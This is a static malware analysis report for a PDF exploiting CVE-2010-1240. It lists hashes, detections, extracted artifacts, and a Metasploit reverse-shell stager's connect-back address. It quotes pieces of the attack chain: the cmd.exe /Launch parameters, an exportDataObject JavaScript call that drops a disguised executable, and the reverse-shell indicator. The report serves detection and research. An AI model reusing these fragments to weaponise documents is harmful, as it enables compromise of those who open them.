Malicious PDF — malware analysis report

Static analysis result for SHA-256 aaef3ee4a8f64047…

MALICIOUS

PDF

132.5 KB Created: 2005-08-30 18:54:11 -03:00 Authoring application: PScript5.dll Version 5.2 (via Acrobat Distiller 5.0 (Windows)) First seen: 2026-05-10
MD5: 5d395a57b561868b3804dcd109af1346 SHA-1: 3d0cc8d6867fa4a60706e3ee8c94d30ff4f5a415 SHA-256: aaef3ee4a8f64047ef99e315effa56f20040053324cbd2f220e8f0ff87204af2
576 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript that utilizes the exportDataObject function to launch cmd.exe and execute a payload. This payload is disguised as a PDF file named 'manual.pdf' but is detected as a Windows executable. The exploit targets CVE-2010-1240, allowing for command execution and the dropping of a malicious executable.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9996

Heuristics 12

  • Adobe Reader Launch action command execution critical CVE exact CVE_2010_1240
    PDF uses the Adobe Reader/Acrobat Launch action pattern associated with CVE-2010-1240: cmd.exe is invoked with attacker-controlled parameters, paired with an embedded/exported payload.
  • ClamAV: Pdf.Tool.Agent-1388586 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Tool.Agent-1388586
  • Launch action critical PDF_LAUNCH
    PDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
  • Embedded Windows executable payload in PDF stream critical PDF_EMBEDDED_PE_PAYLOAD
    PDF stream bytes contain an embedded Windows executable with a verified PE header. Exploit chains often hide droppers inside ordinary streams rather than standard /EmbeddedFile attachments.
  • /Launch action target: cmd.exe critical PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\\manual.pdf" (cd "Desktop"' — references a known-dangerous executable (cmd, PowerShell, etc.).
  • Embedded attachment masquerades: declared document, content is windows-executable critical PDF_EMBEDDED_FILESPEC_CONTENT_MISMATCH
    An /EmbeddedFile attachment's declared filename extension or /Subtype MIME type contradicts the magic bytes of its decompressed content. The attachment is declared as a benign document or image but the bytes are an executable or executable-bearing archive. This is a deliberate deception used to hide droppers in PDF attachments and is a generic indicator of embed-and-drop weaponisation, independent of any specific CVE.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • /Launch action paired with attachment-dropping JS API high PDF_LAUNCH_PLUS_DROPPER_JS
    PDF combines a /Launch action with a JavaScript API call that writes or opens an attached/external resource — the canonical shape of the CVE-2010-1240 /Launch + exportDataObject family. Benign PDFs do not pair these surfaces; the combination indicates a drop-and-execute chain regardless of the specific JS API knobs or /Launch target.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.apollonialearning.com.br/ARTIGO%20CIENT%CDFIC In PDF document text
    • http://www.aprendervirtual.comIn PDF document text
    • http://www.platano.com.br/abnt.htmIn PDF document text
    • http://www.anhembi.br/cgi-In PDF document text
    • http://www.in.gov.br/mp_leis/leis_texto.asp?ld=LEI%209887In PDF document text
    • http://www1.jus.com.br/doutrina/texto.asp?id=2989In PDF document text
    • http://www.stf.gov.br/noticias/imprensa/ultimas/ler.asp?CODIGO=25529&tip=UNIn PDF document text
    • tcp://192.168.1.255:4455In extracted file (manual.pdf)
    • http://www.webshots.com/g/d2002In PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/iX/1.0/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
🗂 Part of campaign: shared payload 76595334d2 3 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
manual.pdf pdf-embedded-file PDF EmbeddedFile object 99 at offset 0x1C115 37888 bytes
SHA-256: 2be34786122e7fea6a4bedc140572040bbff1627e1ab320b71ff4c55c517c380
Detection
ClamAV: Win.Trojan.Rozena-131
Obfuscation or payload: likely
actual_type=PE; declared_or_context_type=PDF; filename=manual.pdf; kind=pdf-embedded-file Static shellcode analysis recovered the Metasploit stager connect-back address: 192.168.1.255:4455 (reverse/x86, lab (non-routable)) Static shellcode analysis found candidate code region(s). Indicators: SC_PEB_ACCESS, SC_MSF_BIND, SC_PUSH_STRING Static shellcode analysis recovered API/import strings: GetProcAddress, ExitProcess, LoadLibraryA, VirtualAlloc
javascript_obj0100_000.js pdf-javascript-stream PDF /JS object 100 at offset 0x20DE7 55 bytes
SHA-256: 76595334d20f64533a1f0fc82533236aed103be28220cf87b9da87a3d9cbf07f
Preview script
First 1,000 lines of the extracted script
this.exportDataObject({ cName: "manual", nLaunch: 0 });
font_00_sfnt_off0000202f.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x202F 3188 bytes
SHA-256: cf72b313a442250ae675ff6d628c23b07cc63492c811f050df3b4c31b977aa45

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